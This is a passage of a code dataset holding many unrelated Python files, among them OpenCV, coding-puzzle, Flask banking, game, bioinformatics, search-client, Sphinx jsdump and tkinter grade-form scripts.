np.array([89,245,255])\n# mask_green = cv2.inRange(hsv,lowerb=lower_hsv_green,upperb=upper_hsv_green)\n\ngreen_blur = cv2.medianBlur(mask_green, 7)\n\ngetContours(red_blur,0)\ngetContours(green_blur,1)\n# x, y, w, h = cv2.boundingRect(img)\n#\n# img = cv2.rectangle(img,(x,y),(x+w,y+h),(0,0,0),2)\ncv2.imshow('img',img)\ncv2.imshow('red_window',red_blur)\ncv2.imshow('green_window',green_blur)\ncv2.imshow('imgContour',imgContour)\n\n\n# kernel=np.ones((5,5),np.uint8)\n# imgGray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n# imgBlur=cv2.GaussianBlur(imgGray,(7,7),0)\n# imgCanny=cv2.Canny(img,100,100)\n# opening=cv2.morphologyEx(imgGray,cv2.MORPH_OPEN,kernel)\n# closing=cv2.morphologyEx(imgGray,cv2.MORPH_CLOSE,kernel)\n#\n# cv2.imshow(\"Gray image\",imgGray)\n# cv2.imshow(\"opening image\",opening)\n# cv2.imshow(\"closing image\",closing)\ncv2.waitKey(0)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"201408790","text":"from time import time, sleep\nimport itertools as i\nfrom functools import reduce\nfrom operator import mul\n\nstart = time()\n\nsolutions = []\npermuted = list(i.permutations([1, 2, 3, 4, 5, 6, 7, 8, 9], 5))\n\n#checks all 4 digit x 1 digit products\nfor nums in permuted:\n\tans = ''.join([str(i) for i in range(1, 10) if i not in nums])\n\tfirst = nums[0]\n\tsecond = int(''.join([str(nums[i]) for i in range(1, 5)]))\n\tif ''.join(sorted(str(eval(\"%d * %d\" % (first, second))))) == ans:\n\t\tsolutions.append(first * second)\n\n#checks all 3 digit x 2 digit products\nfor nums in permuted:\n\tans = ''.join([str(i) for i in range(1, 10) if i not in nums])\n\tfirst = int(''.join([str(nums[i]) for i in range(0, 2)]))\n\tsecond = int(''.join([str(nums[i]) for i in range(2, 5)]))\n\tif ''.join(sorted(str(eval(\"%d * %d\" % (first, second))))) == ans:\n\t\tsolutions.append(first * second)\n\nprint(solutions)\nprint(sum(set(solutions)))\n\nend = time()\n\nprint(end - start)","sub_path":"Python/032_pandigital.py","file_name":"032_pandigital.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"155787834","text":"from collections import defaultdict\n\nn, m = map(int, input().split())\n\nd = defaultdict(list)\n\nfor i in range(n):\n d['A'].append(input())\nfor i in range(m):\n d['B'].append(input())\n\nfor i in d['B']:\n index = []\n if i in d['A']:\n for j in range(len(d['A'])):\n if i == d['A'][j]:\n index.append(j+1)\n else:\n index.append(-1)\n for i in index:\n print (i, end = \" \")\n print ()\n","sub_path":"Hackerrank_Python_Solutions/Collections/defaultdict_tutorial.py","file_name":"defaultdict_tutorial.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"494247957","text":"from typing import List\n\n\nclass Solution:\n def canCompleteCircuit(self, gas: List[int], cost: List[int]) -> int:\n total_sum, sub_sum, start = 0, 0, 0\n for i in range(len(gas)):\n total_sum += gas[i] - cost[i]\n if total_sum < sub_sum:\n sub_sum = total_sum\n start = i + 1\n return -1 if total_sum < 0 else start % len(gas)\n","sub_path":"Top_Interview_Questions/Medium/134. Gas Station/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"36574356","text":"from flask import Flask, request,render_template,url_for,redirect, session\nfrom accounts import *\nfrom bank import *\nfrom atm import *\nbank = Bank()\naccount = Account\ns_account = SavingsAccount\natm = ATM\n\ndef c_accountInfo():\n\n accountNumber = session.get('accountNumber', None)\n c_account = bank.getCheckingAccountInfo(accountNumber)\n\n \"\"\"Gets the account number from main page and\n verifies the existence of the account, if true, passes the values to template\"\"\"\n\n if c_account == None:\n return redirect(url_for ('noAccount'))\n\n else:\n\n \"\"\" Enabling user to take actions upon accounts from UI\"\"\"\n if request.method == \"POST\":\n\n action = request.form.get(\"actions\")\n\n if action == \"blockAccount\":\n c_account._block = True\n elif action == \"unblockAccount\":\n c_account._block = False\n elif action == \"delete_c_Account\":\n bank.removeChecking(accountNumber)\n bank.saveCheking(\"c_accounts.txt\")\n return redirect(url_for('index_app'))\n\n\n clientName = c_account._name\n accountType = c_account._accountType\n status = None\n if c_account._block == False:\n status = \"Unblocked\"\n else:\n status = \"Blocked\"\n value = c_account._balance\n pin = c_account._pinNumber\n balance = \"$ {:,.2f}\".format(value)\n bank.saveCheking(\"c_accounts.txt\")\n return render_template(\"checkingInfoView.html\", accountNumber = accountNumber, clientName = clientName, accountType = accountType, status = status, balance = balance, pin = pin)\n\ndef s_accountInfo():\n\n accountNumber = session.get('accountNumber', None)\n s_account = bank.getSavingsAccountInfo(accountNumber)\n\n \"\"\"Gets the account number from main page and\n verifies the existence of the account, if true, passes the values to template\"\"\"\n\n if s_account == None:\n return redirect(url_for ('noAccount'))\n\n else:\n\n \"\"\" Enabling user to take actions upon accounts from UI\"\"\"\n if request.method == \"POST\":\n\n action = request.form.get(\"actions\")\n\n if action == \"blockAccount\":\n s_account._block = True\n elif action == \"unblockAccount\":\n s_account._block = False\n elif action == \"resetSavings\":\n s_account.reset()\n elif action == \"delete_s_Account\":\n bank.removeSavings(accountNumber)\n bank.saveSavings(\"s_accounts.txt\")\n return redirect(url_for('index_app'))\n\n clientName = s_account._name\n accountType = s_account._accountType\n status = None\n if s_account._block == False:\n status = \"Unblocked\"\n else:\n status = \"Blocked\"\n value = s_account._balance\n pin = s_account._pinNumber\n balance = \"$ {:,.2f}\".format(value)\n bank.saveSavings(\"s_accounts.txt\")\n return render_template(\"savingsInfoView.html\", accountNumber = accountNumber, clientName = clientName, accountType = accountType, status = status, balance = balance, pin = pin)\n","sub_path":"mpCAcctView.py","file_name":"mpCAcctView.py","file_ext":"py","file_size_in_byte":3171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"449994584","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfor sparse in range(1, 10+1):\n ranks = []\n accs = []\n \n for rank in range(sparse, 10+1):\n fname = \"sparse\" + str(sparse) + \"rank\" + str(rank) + \".npy\"\n acc = np.max(np.load(fname))\n \n print (\"sparse\", sparse, \"rank\", rank, acc) \n \n accs.append(acc)\n ranks.append(rank)\n \n scatter = plt.scatter(ranks, accs, label=\"Sparse \" + str(sparse))\n \nplt.xlabel(\"Rank\")\nplt.ylabel(\"Accuracy\")\nplt.legend()\nplt.show()\n","sub_path":"plot_rank_sparse.py","file_name":"plot_rank_sparse.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"359079175","text":"from panda3d.core import *\nimport Playground\nfrom direct.task.Task import Task\nimport random\nfrom direct.fsm import ClassicFSM, State\nfrom direct.actor import Actor\nfrom toontown.toonbase import ToontownGlobals\nfrom direct.directnotify import DirectNotifyGlobal\nfrom toontown.hood import Place\n\nclass DDPlayground(Playground.Playground):\n notify = DirectNotifyGlobal.directNotify.newCategory('DDPlayground')\n\n def __init__(self, loader, parentFSM, doneEvent):\n Playground.Playground.__init__(self, loader, parentFSM, doneEvent)\n self.cameraSubmerged = -1\n self.toonSubmerged = -1\n self.activityFsm = ClassicFSM.ClassicFSM('Activity', [State.State('off', self.enterOff, self.exitOff, ['OnBoat']), State.State('OnBoat', self.enterOnBoat, self.exitOnBoat, ['off'])], 'off', 'off')\n self.activityFsm.enterInitialState()\n\n def load(self): # everything loads with this function bracket\n Playground.Playground.load(self)\n self.piano = loader.loadModel('phase_6/models/props/piano') # This lines loads our piano prop\n self.piano.reparentTo(render) # This line makes our piano prop a child node to the render\n self.piano.setPos(0, 0, 10) # This line sets the coordinates of our piano prop to 0x 0y and 10z\n\n self.piano.setHpr(250, 15, 10) #This line sets the roation of the pinao #firstvalue-leftandright,secondvalue-upanddown,thirdvalue-plane\n self.piano.setColorScale(1, 0, 0, 1) # This line sets the color of the piano #RGB+Transparency vaule\n\n self.apple = loader.loadModel('phase_4/models/minigames/apple')\n self.apple.reparentTo(self.piano) #This line makes our apple prop a child node of the piano prop #This means any child nodes of the pinao prop will also have the exact same attrutbutes as the parent node\n self.apple.setScale(5) # This line sets the scale of the apple\n\n def unload(self): # everything unloads with this function bracket, everything unloads when you leave\n self.piano.removeNode() # This line tells the game to ready the pinao child node to be unload when called to\n del self.piano # This tells the ready piano node to unload itself\n self.apple.removeNode()\n del self.apple\n\n del self.activityFsm\n Playground.Playground.unload(self)\n\n def enter(self, requestStatus):\n self.nextSeagullTime = 0\n taskMgr.add(self.__seagulls, 'dd-seagulls')\n self.loader.hood.setWhiteFog()\n Playground.Playground.enter(self, requestStatus)\n\n def exit(self):\n Playground.Playground.exit(self)\n taskMgr.remove('dd-check-toon-underwater')\n taskMgr.remove('dd-check-cam-underwater')\n taskMgr.remove('dd-seagulls')\n self.loader.hood.setNoFog()\n\n def enterStart(self):\n self.cameraSubmerged = 0\n self.toonSubmerged = 0\n taskMgr.add(self.__checkToonUnderwater, 'dd-check-toon-underwater')\n taskMgr.add(self.__checkCameraUnderwater, 'dd-check-cam-underwater')\n\n def enterDoorOut(self):\n taskMgr.remove('dd-check-toon-underwater')\n\n def exitDoorOut(self):\n pass\n\n def enterDoorIn(self, requestStatus):\n Playground.Playground.enterDoorIn(self, requestStatus)\n taskMgr.add(self.__checkToonUnderwater, 'dd-check-toon-underwater')\n\n def __checkCameraUnderwater(self, task):\n if camera.getZ(render) < 1.0:\n self.__submergeCamera()\n else:\n self.__emergeCamera()\n return Task.cont\n\n def __checkToonUnderwater(self, task):\n if base.localAvatar.getZ() < -2.3314585:\n self.__submergeToon()\n else:\n self.__emergeToon()\n return Task.cont\n\n def __submergeCamera(self):\n if self.cameraSubmerged == 1:\n return\n self.loader.hood.setUnderwaterFog()\n base.playSfx(self.loader.underwaterSound, looping=1, volume=0.8)\n self.loader.seagullSound.stop()\n taskMgr.remove('dd-seagulls')\n self.cameraSubmerged = 1\n self.walkStateData.setSwimSoundAudible(1)\n\n def __emergeCamera(self):\n if self.cameraSubmerged == 0:\n return\n self.loader.hood.setWhiteFog()\n self.loader.underwaterSound.stop()\n self.nextSeagullTime = random.random() * 8.0\n taskMgr.add(self.__seagulls, 'dd-seagulls')\n self.cameraSubmerged = 0\n self.walkStateData.setSwimSoundAudible(0)\n\n def __submergeToon(self):\n if self.toonSubmerged == 1:\n return\n base.playSfx(self.loader.submergeSound)\n if base.config.GetBool('disable-flying-glitch') == 0:\n self.fsm.request('walk')\n self.walkStateData.fsm.request('swimming', [self.loader.swimSound])\n pos = base.localAvatar.getPos(render)\n base.localAvatar.d_playSplashEffect(pos[0], pos[1], 1.675)\n self.toonSubmerged = 1\n\n def __emergeToon(self):\n if self.toonSubmerged == 0:\n return\n self.walkStateData.fsm.request('walking')\n self.toonSubmerged = 0\n\n def __seagulls(self, task):\n if task.time < self.nextSeagullTime:\n return Task.cont\n base.playSfx(self.loader.seagullSound)\n self.nextSeagullTime = task.time + random.random() * 4.0 + 8.0\n return Task.cont\n\n def enterTeleportIn(self, requestStatus):\n self.toonSubmerged = -1\n taskMgr.remove('dd-check-toon-underwater')\n Playground.Playground.enterTeleportIn(self, requestStatus)\n\n def teleportInDone(self):\n self.toonSubmerged = -1\n taskMgr.add(self.__checkToonUnderwater, 'dd-check-toon-underwater')\n Playground.Playground.teleportInDone(self)\n\n def enterOff(self):\n return None\n\n def exitOff(self):\n return None\n\n def enterOnBoat(self):\n base.localAvatar.b_setParent(ToontownGlobals.SPDonaldsBoat)\n base.playSfx(self.loader.waterSound, looping=1)\n\n def exitOnBoat(self):\n base.localAvatar.b_setParent(ToontownGlobals.SPRender)\n self.loader.waterSound.stop()\n","sub_path":"toontown/safezone/DDPlayground.py","file_name":"DDPlayground.py","file_ext":"py","file_size_in_byte":6047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"648550362","text":"import art\nimport random\nfrom os import system, name\n\ndef clear():\n # for windows\n if name == 'nt':\n _ = system('cls')\n \n # for mac and linux(here, os.name is 'posix')\n else:\n _ = system('clear')\n\ncards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n\n\ndef hit(hand):\n newCard = random.choice(cards)\n if newCard == 11 and sum(hand) + newCard > 21:\n newCard = 1\n elif 11 in hand and sum(hand) + newCard > 21:\n hand[hand.index(11)] = 1\n hand.append(newCard)\n\n\ndef freshGame(player, computer):\n for _ in range(2):\n hit(player)\n hit(computer)\n\n\ndef checkBust(hand):\n if sum(hand) > 21:\n return True\n else:\n return False\n \n\ndef winningCondition(player, computer):\n if sum(player) == sum(computer):\n return \"\\nDRAW\"\n if sum(player) > sum(computer):\n return \"\\nYOU WIN!\"\n else:\n return \"\\nYOU LOSE!\"\n \n\ndef showUI(player, computer, actionMsg, msg):\n clear()\n print(art.logo)\n if actionMsg:\n print(actionMsg)\n if msg:\n print(f\"Your cards: {player}\\nCurrent Score: {sum(player)}\")\n print(f\"Computer cards: {computer}\\nCurrent Score: {sum(computer)}\")\n print(msg)\n else:\n print(f\"Your cards: {player}\\nCurrent Score: {sum(player)}\")\n print(f\"Computer cards: [{computer[0]}, *]\\nCurrent Score: {computer[0]}\")\n\n\ndef play():\n player = []\n computer = []\n freshGame(player, computer)\n showUI(player, computer, None, None)\n if sum(player) == 21:\n showUI(player, computer, \"BLACKJACK!\\n\", \"\\nYOU WIN\")\n return \n while True:\n playerchoice = input(\"\\nDo you want to \\\"hit\\\" or \\\"stay\\\"?\\n\")\n if playerchoice == \"hit\":\n hit(player)\n if checkBust(player):\n showUI(player, computer, \"Player hit.\\n\", \"\\nYOU LOSE: Player bust!\")\n return \n showUI(player, computer, \"Player hit.\\n\", None)\n elif playerchoice == \"stay\":\n while sum(computer) < 17:\n hit(computer)\n if checkBust(computer):\n showUI(player, computer, \"Player stay.\\n\", \"\\nYOU WIN: Computer bust!\")\n return \n showUI(player, computer, \"Player stay.\\n\", winningCondition(player, computer))\n return\n else:\n print(\"Invalid input.\")\n \nif __name__ == \"__main__\":\n clear()\n print(art.logo)\n print(\"Welcome to the casino blackjack!\\n\")\n playing = False\n choice = input(\"Would you like to play? Type \\\"y\\\" or \\\"n\\\"\\n\")\n if choice == \"y\":\n playing = True\n while playing:\n play()\n choice = input(\"\\nWould you like to play again? Type \\\"y\\\" or \\\"n\\\"\\n\")\n if choice == \"n\":\n playing = False\n","sub_path":"python/100_Days_of_Code/Beginner/day11/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459323368","text":"import sys\nfout=open('mkphase_'+sys.argv[1],'w')\nfor l in open(sys.argv[1]):\n\tif l.startswith('#'):\n\t\tfout.write(l)\n\t\tcontinue\n\tls=l.strip().split('\\t')\n\tformat=ls[8].split(':')\n\tgenotype=ls[9].split(':')\n\tgeno_dict=dict(zip(format,genotype))\n\tgt=geno_dict['GT'].split('/')\n\tif 'HP' in geno_dict:\n\t\thap=geno_dict['HP'].split(',')\n\t\tif hap[0].split('-')[1]==\"1\":\n\t\t\tfout.write('\\t'.join(ls[0:9]+[gt[0]+'|'+gt[1]])+'\\n')\n\t\telse:\n\t\t\tfout.write('\\t'.join(ls[0:9]+[gt[1]+'|'+gt[0]])+'\\n')\n\telse:\n\t\tfout.write('\\t'.join(ls[0:9]+[gt[0]+'|'+gt[1]])+'\\n')","sub_path":"vcf2phasedvcf.py","file_name":"vcf2phasedvcf.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"392268996","text":"import json\r\n\r\nprint(\"========== 빅데이터 분석기 =================\")\r\nsearch_data_info=input(\"분석하실 데이터를 입력해주세요:\")\r\n# search_data_info='이명박'\r\n\r\nwith open(\"%s_naver_news.json\"%search_data_info, encoding=\"utf-8\") as json_data:\r\n json_data_load = json.load(json_data)\r\n json_data_string = json.dumps(json_data_load)\r\n jsonResult = json.loads(json_data_string)\r\n\r\n\r\nprint(\"데이터 분석을 시작합니다..\")\r\n\r\nall_data=0\r\nerr_data=0\r\ndomein_data=0\r\nalldomein_data=[]\r\nalldomein_count=[]\r\nwhile True:\r\n try:\r\n if jsonResult[all_data]:\r\n all_data+=1\r\n except Exception:\r\n break\r\n\r\nfor count in range(0,all_data):\r\n\r\n if jsonResult[count]['org_link'].find(\"http\") == -1:\r\n print(\"org_link'가 없는 기사를 발견했습니다.\")\r\n err_data+=1\r\n else:\r\n alldomein_data.append(jsonResult[count]['org_link'].split('/')[2])\r\n\r\n\r\n\r\nprint(\"<네이버 검색 빅데이터 분석>\")\r\nprint(\"검색어: %s\"%search_data_info)\r\nprint(\"전체 도메인 수: %s\"%len(set(alldomein_data)))\r\nprint(\"전체 건수: %s\"%(all_data-err_data))\r\nprint(\"부정확한 데이터 수: %s\"%err_data)\r\n\r\nprint(\"- 도메인 별 뉴스 기사 분석\")\r\nalldomein_data_pix=set(alldomein_data)\r\ncount_append=[]\r\n\r\nfor count in alldomein_data_pix:\r\n lists = []\r\n res = list(filter(lambda x: x==count, alldomein_data))\r\n lists.append(len(res))\r\n lists.append(count)\r\n count_append.append(lists)\r\n\r\n\r\ncount_append=sorted(count_append,reverse=True)\r\n\r\nfor count in count_append:\r\n print(\">> %s : %s건\" % (count[1], count[0]))\r\n\r\n\r\n","sub_path":"01.jump to python/02.Data Science/1. collection/2.Naver/2.Naver_search_exam.py","file_name":"2.Naver_search_exam.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"81667812","text":"__author__ = 'mt'\n\nimport os\nfrom tornado.log import app_log\nfrom tornado.httpclient import AsyncHTTPClient\nfrom tornado.httputil import url_concat\n\nclass GoogleSearchClient:\n\n google_api_url = 'https://www.googleapis.com/customsearch/v1'\n\n def __init__(self):\n self.search_auth_key = os.environ.get('GOOGLE_SEARCH_KEY', '')\n self.search_auth_cx = os.environ.get('GOOGLE_SEARCH_CX', '')\n\n def search(self, search_phrase, start_index=1):\n \"\"\" Queries google for all the notebooks\n\n \"\"\"\n search_params = {'key': self.search_auth_key,\n 'cx': self.search_auth_cx,\n 'q': search_phrase,\n 'start': start_index}\n app_log.info(\"Searching google with query: %s\", search_phrase)\n url = url_concat(self.google_api_url, search_params)\n app_log.info(\"Search url: %s\", url)\n future = self._fetch_results(url)\n return future\n\n def _fetch_results(self, url):\n client = AsyncHTTPClient()\n return client.fetch(url)\n\n def parse_results(self, results):\n parsed_links = {\n 'count': 0,\n 'index': 1,\n 'total': 0,\n 'items': []\n }\n if results.has_key(u'items'):\n for item in results[u'items']:\n obj = {'title' : item[u'title'],\n 'summary' : item[u'snippet'],\n 'link' : item[u'link']}\n parsed_links['items'].append(obj)\n if results.has_key(u'queries') and \\\n results[u'queries'].has_key(u'request'):\n req = results[u'queries'][u'request'][0]\n parsed_links[u'count'] = req[u'count']\n parsed_links[u'index'] = int(req[u'startIndex'])\n parsed_links[u'total'] = int(req[u'totalResults'])\n\n return parsed_links\n","sub_path":"nbviewer/google_search.py","file_name":"google_search.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"499678717","text":"\"\"\"This module implements a simple JavaScript serializer.\n\nUses the basestring encode function from simplejson by Bob Ippolito.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport re\nimport warnings\nfrom typing import IO, Any\n\nfrom sphinx.deprecation import RemovedInSphinx70Warning\n\nwarnings.warn('\"sphinx.util.jsdump\" has been deprecated. Please use \"json\" instead.',\n RemovedInSphinx70Warning)\n\n_str_re = re.compile(r'\"(\\\\\\\\|\\\\\"|[^\"])*\"')\n_int_re = re.compile(r'\\d+')\n_name_re = re.compile(r'[a-zA-Z_]\\w*')\n_nameonly_re = re.compile(r'[a-zA-Z_][a-zA-Z0-9_]*$')\n\n# escape \\, \", control characters and everything outside ASCII\nESCAPE_ASCII = re.compile(r'([\\\\\"]|[^\\ -~])')\nESCAPE_DICT = {\n '\\\\': '\\\\\\\\',\n '\"': '\\\\\"',\n '\\b': '\\\\b',\n '\\f': '\\\\f',\n '\\n': '\\\\n',\n '\\r': '\\\\r',\n '\\t': '\\\\t',\n}\n\nESCAPED = re.compile(r'\\\\u.{4}|\\\\.')\n\n\ndef encode_string(s: str) -> str:\n def replace(match: re.Match) -> str:\n s = match.group(0)\n try:\n return ESCAPE_DICT[s]\n except KeyError:\n n = ord(s)\n if n < 0x10000:\n return f'\\\\u{n:04x}'\n else:\n # surrogate pair\n n -= 0x10000\n s1 = 0xd800 | ((n >> 10) & 0x3ff)\n s2 = 0xdc00 | (n & 0x3ff)\n return f'\\\\u{s1:04x}\\\\u{s2:04x}'\n return '\"' + str(ESCAPE_ASCII.sub(replace, s)) + '\"'\n\n\ndef decode_string(s: str) -> str:\n return ESCAPED.sub(lambda m: eval('\"' + m.group() + '\"'), s) # NoQA: PGH001\n\n\nreswords = set(\"\"\"\\\nabstract else instanceof switch\nboolean enum int synchronized\nbreak export interface this\nbyte extends long throw\ncase false native throws\ncatch final new transient\nchar finally null true\nclass float package try\nconst for private typeof\ncontinue function protected var\ndebugger goto public void\ndefault if return volatile\ndelete implements short while\ndo import static with\ndouble in super\"\"\".split())\n\n\ndef dumps(obj: Any, key: bool = False) -> str:\n if key:\n if not isinstance(obj, str):\n obj = str(obj)\n if _nameonly_re.match(obj) and obj not in reswords:\n return obj # return it as a bare word\n else:\n return encode_string(obj)\n if obj is None:\n return 'null'\n elif obj is True or obj is False:\n return 'true' if obj else 'false'\n elif isinstance(obj, (int, float)):\n return str(obj)\n elif isinstance(obj, dict):\n return '{%s}' % ','.join(\n sorted(f'{dumps(key, True)}:{dumps(value)}' for key, value in obj.items()),\n )\n elif isinstance(obj, set):\n return '[%s]' % ','.join(sorted(dumps(x) for x in obj))\n elif isinstance(obj, (tuple, list)):\n return '[%s]' % ','.join(dumps(x) for x in obj)\n elif isinstance(obj, str):\n return encode_string(obj)\n raise TypeError(type(obj))\n\n\ndef dump(obj: Any, f: IO) -> None:\n f.write(dumps(obj))\n\n\ndef loads(x: str) -> Any:\n \"\"\"Loader that can read the JS subset the indexer produces.\"\"\"\n nothing = object()\n i = 0\n n = len(x)\n stack: list[list | dict] = []\n obj: Any = nothing\n key = False\n keys = []\n while i < n:\n c = x[i]\n if c == '{':\n obj = {}\n stack.append(obj)\n key = True\n keys.append(nothing)\n i += 1\n elif c == '[':\n obj = []\n stack.append(obj)\n key = False\n keys.append(nothing)\n i += 1\n elif c in '}]':\n if key:\n if keys[-1] is not nothing:\n raise ValueError(\"unfinished dict\")\n # empty dict\n key = False\n oldobj = stack.pop()\n keys.pop()\n if stack:\n obj = stack[-1]\n if isinstance(obj, dict):\n if keys[-1] is nothing:\n raise ValueError(\"invalid key object\", oldobj)\n obj[keys[-1]] = oldobj\n else:\n obj.append(oldobj)\n else:\n break\n i += 1\n elif c == ',':\n if key:\n raise ValueError(\"multiple keys\")\n if isinstance(obj, dict):\n key = True\n i += 1\n elif c == ':':\n if not isinstance(obj, dict):\n raise ValueError(\"colon in list\")\n i += 1\n if not key:\n raise ValueError(\"multiple values\")\n key = False\n else:\n y: Any = None\n m = _str_re.match(x, i)\n if m:\n y = decode_string(m.group()[1:-1])\n else:\n m = _int_re.match(x, i)\n if m:\n y = int(m.group())\n else:\n m = _name_re.match(x, i)\n if m:\n y = m.group()\n if y == 'true':\n y = True\n elif y == 'false':\n y = False\n elif y == 'null':\n y = None\n elif not key:\n raise ValueError(\"bareword as value\")\n else:\n raise ValueError(\"read error at pos %d\" % i)\n i = m.end()\n if isinstance(obj, dict):\n if key:\n keys[-1] = y\n else:\n obj[keys[-1]] = y\n key = False\n else:\n obj.append(y)\n if obj is nothing:\n raise ValueError(\"nothing loaded from string\")\n return obj\n\n\ndef load(f: IO) -> Any:\n return loads(f.read())\n","sub_path":"sphinx/util/jsdump.py","file_name":"jsdump.py","file_ext":"py","file_size_in_byte":5855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"328272829","text":"#-*- coding:utf-8 -*-\n#Digitado, pensado, xingado e odiado por Coxinha Jr™\n\n\nimport tkinter #Bibilioteca que será usada para a criação da GUI\n\nclass minhaApp_tk(tkinter.Tk): #Criação da classe onde estarão as informações do App\n def __init__(self, parent): #Função que define a aplicação como aplicação principal\n\n tkinter.Tk.__init__(self, parent)\n\n self.parent = parent\n\n self.initialize()\n\n\n def initialize(self): #Função onde são armazenadas as informações (textos, botões, caixa de texto)\n\n self.grid() #Introduz a classe dentro da GUI\n\n #Texto com Instrução\n self.labelInstruc = tkinter.Label(self, text=\"(Para notas não obtidas ainda, digite 'f')\")\n self.labelInstruc.grid(column=0, row=9, sticky=\"EW\")\n\n #Texto que indica a coluna 'Disciplinas'\n self.labelDiscip = tkinter.Label(self, text=\"Disciplinas\")\n self.labelDiscip.grid(column=0, row=1, sticky=\"EW\")\n\n #Textos que indicam as colunas 'Nota' de 1 a 3\n self.labelNota1 = tkinter.Label(self, text=\"Nota 1\")\n self.labelNota1.grid(column=2, row=1, sticky=\"EW\")\n\n self.labelNota2 = tkinter.Label(self, text=\"Nota 2\")\n self.labelNota2.grid(column=4, row=1, sticky=\"EW\")\n\n self.labelNota3 = tkinter.Label(self, text=\"Nota 3\")\n self.labelNota3.grid(column=6, row=1, sticky=\"EW\")\n\n #Texto que indica a coluna 'Média'\n self.labelMedia = tkinter.Label(self, text=\"Média\")\n self.labelMedia.grid(column=8, row=1, sticky=\"EW\")\n\n #Textos que indicam as disciplinas\n self.labelAdmSI = tkinter.Label(self, text=\"Adm. de Sist. de Informação\")\n self.labelAdmSI.grid(column=0, row=3, sticky=\"EW\")\n\n self.labelAdmEst = tkinter.Label(self, text=\"Adm. Estratégica\")\n self.labelAdmEst.grid(column=0, row=2, sticky=\"EW\")\n\n self.labelCalc = tkinter.Label(self, text=\"Cálculo I\")\n self.labelCalc.grid(column=0, row=4, sticky=\"EW\")\n\n self.labelLPII = tkinter.Label(self, text=\"Ling. de Programação II\")\n self.labelLPII.grid(column=0, row=6, sticky=\"EW\")\n\n self.labelWeb0 = tkinter.Label(self, text=\"Introdução a Sist. Web\")\n self.labelWeb0.grid(column=0, row=5, sticky=\"EW\")\n\n self.labelPsico = tkinter.Label(self, text=\"Psicologia Aplicada a SI\")\n self.labelPsico.grid(column=0, row=7, sticky=\"EW\")\n\n #Entradas que recebem os valores das notas\n self.entryAdmEst1 = tkinter.Entry(self)\n self.entryAdmEst1.grid(column=2, row=2, sticky=\"EW\")\n\n self.entryAdmEst2 = tkinter.Entry(self)\n self.entryAdmEst2.grid(column=4, row=2, sticky=\"EW\")\n\n self.entryAdmEst3 = tkinter.Entry(self)\n self.entryAdmEst3.grid(column=6, row=2, sticky=\"EW\")\n\n self.entryAdmEstMed = tkinter.Entry(self)\n self.entryAdmEstMed.grid(column=8, row=2, sticky=\"EW\")\n\n self.entryAdmSI1 = tkinter.Entry(self)\n self.entryAdmSI1.grid(column=2, row=3, sticky=\"EW\")\n\n self.entryAdmSI2 = tkinter.Entry(self)\n self.entryAdmSI2.grid(column=4, row=3, sticky=\"EW\")\n\n self.entryAdmSI3 = tkinter.Entry(self)\n self.entryAdmSI3.grid(column=6, row=3, sticky=\"EW\")\n\n self.entryAdmSIMed = tkinter.Entry(self)\n self.entryAdmSIMed.grid(column=8, row=3, sticky=\"EW\")\n\n self.entryCalc1 = tkinter.Entry(self)\n self.entryCalc1.grid(column=2, row=4, sticky=\"EW\")\n\n self.entryCalc2 = tkinter.Entry(self)\n self.entryCalc2.grid(column=4, row=4, sticky=\"EW\")\n\n self.entryCalc3 = tkinter.Entry(self)\n self.entryCalc3.grid(column=6, row=4, sticky=\"EW\")\n\n self.entryCalcMed = tkinter.Entry(self)\n self.entryCalcMed.grid(column=8, row=4, sticky=\"EW\")\n\n self.entryLPII1 = tkinter.Entry(self)\n self.entryLPII1.grid(column=2, row=5, sticky=\"EW\")\n\n self.entryLPII2 = tkinter.Entry(self)\n self.entryLPII2.grid(column=4, row=5, sticky=\"EW\")\n\n self.entryLPII3 = tkinter.Entry(self)\n self.entryLPII3.grid(column=6, row=5, sticky=\"EW\")\n\n self.entryLPIIMed = tkinter.Entry(self)\n self.entryLPIIMed.grid(column=8, row=5, sticky=\"EW\")\n\n self.entryWeb01 = tkinter.Entry(self)\n self.entryWeb01.grid(column=2, row=6, sticky=\"EW\")\n\n self.entryWeb02 = tkinter.Entry(self)\n self.entryWeb02.grid(column=4, row=6, sticky=\"EW\")\n\n self.entryWeb03 = tkinter.Entry(self)\n self.entryWeb03.grid(column=6, row=6, sticky=\"EW\")\n\n self.entryWeb0Med = tkinter.Entry(self)\n self.entryWeb0Med.grid(column=8, row=6, sticky=\"EW\")\n\n self.entryPsico1 = tkinter.Entry(self)\n self.entryPsico1.grid(column=2, row=7, sticky=\"EW\")\n\n self.entryPsico2 = tkinter.Entry(self)\n self.entryPsico2.grid(column=4, row=7, sticky=\"EW\")\n\n self.entryPsico3 = tkinter.Entry(self)\n self.entryPsico3.grid(column=6, row=7, sticky=\"EW\")\n\n 